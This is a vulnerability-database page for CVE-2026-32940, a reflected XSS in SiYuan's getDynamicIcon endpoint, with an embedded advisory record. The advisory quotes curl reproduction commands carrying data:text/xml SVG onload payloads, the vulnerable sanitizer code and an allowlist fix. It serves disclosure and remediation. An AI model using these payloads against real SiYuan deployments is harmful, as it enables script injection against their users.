CVE-2026-32940: Github.com/siyuan note/siyuan Text/xml Vulnerability
CRITICALCVE-2026-32940 is a CRITICAL (CVSS 9.3) text/xml vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/siyuan note/siyuan libraries in the Go ecosystem. The issue involves text/xml in getdynamicicon (incomplete fix for cve-2026-29183). Remediation is available in the latest vendor maintenance releases.
CVE-2026-32940 at a Glance
Security Impact
CVSS: 9.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2026-32940
To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/siyuan-note/siyuan to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/siyuan-note/siyuan
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-32940, inspect your project dependencies for Github.com/siyuan note/siyuan:
inspect dependencies for github.com/siyuan-note/siyuan
Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/siyuan note/siyuan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32940 Affected Github.com/siyuan note/siyuan Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/siyuan-note/siyuan
|
Go |
≤ 0.0.0-20260313024916-fd6526133bb3
|
|
References
Frequently Asked Questions
What is CVE-2026-32940?
Which Github.com/siyuan note/siyuan versions are affected?
What version fixes CVE-2026-32940?
Is github.com/siyuan-note/siyuan affected?
What is the CVSS score of CVE-2026-32940?
What CWE is associated with CVE-2026-32940?
How can I check Go dependencies for CVE-2026-32940?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4mx9-3c2h-hwhg",
"modified" : "2026-03-30T14:03:47Z",
"published" : "2026-03-17T14:08:11Z",
"aliases" : [ "CVE-2026-32940" ],
"summary" : "SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)",
"details" : "# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)\n\n`SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested).\n\n`/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked.\n\nThis is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `<img>` tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or `<object>`/`<embed>` embedding.\n\n## Steps to reproduce\n\nAgainst SiYuan v3.6.0 (Docker):\n\n```sh\n# 1. data:text/xml bypass -- <a> element preserved with href intact\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\">\n\n# 2. data:text/html is correctly blocked -- href stripped\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:text/html,<script>alert(1)</script>\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a> (href removed)\n\n# 3. data:application/xml also bypasses\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a href=\"data:application/xml,...\"> (href preserved)\n```\n\nJS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test.\n\n## Vulnerable code\n\n`kernel/util/misc.go` lines 289-293:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n if strings.Contains(val, \"text/html\") || strings.Contains(val, \"image/svg+xml\") || strings.Contains(val, \"application/xhtml+xml\") {\n continue\n }\n}\n```\n\n`text/xml` and `application/xml` aren't in the list. Both serve SVG with JS execution.\n\n## Impact\n\nReflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.\n\nDocker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 (\"XSS to RCE\") explored that path.\n\nThe deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.\n\n## Affected versions\n\nv3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183.\n\n## Suggested fix\n\nFlip the data: URI check to an allowlist -- only permit safe image types in href:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n safe := strings.HasPrefix(val, \"data:image/png\") ||\n strings.HasPrefix(val, \"data:image/jpeg\") ||\n strings.HasPrefix(val, \"data:image/gif\") ||\n strings.HasPrefix(val, \"data:image/webp\")\n if !safe {\n continue\n }\n}\n```\n\nIf you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/siyuan-note/siyuan"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.0.0-20260313024916-fd6526133bb3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32940"
}, {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-6865-qjcf-286f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/siyuan-note/siyuan"
}, {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184", "CWE-79" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-17T14:08:11Z",
"nvd_published_at" : "2026-03-20T04:16:49Z"
}
}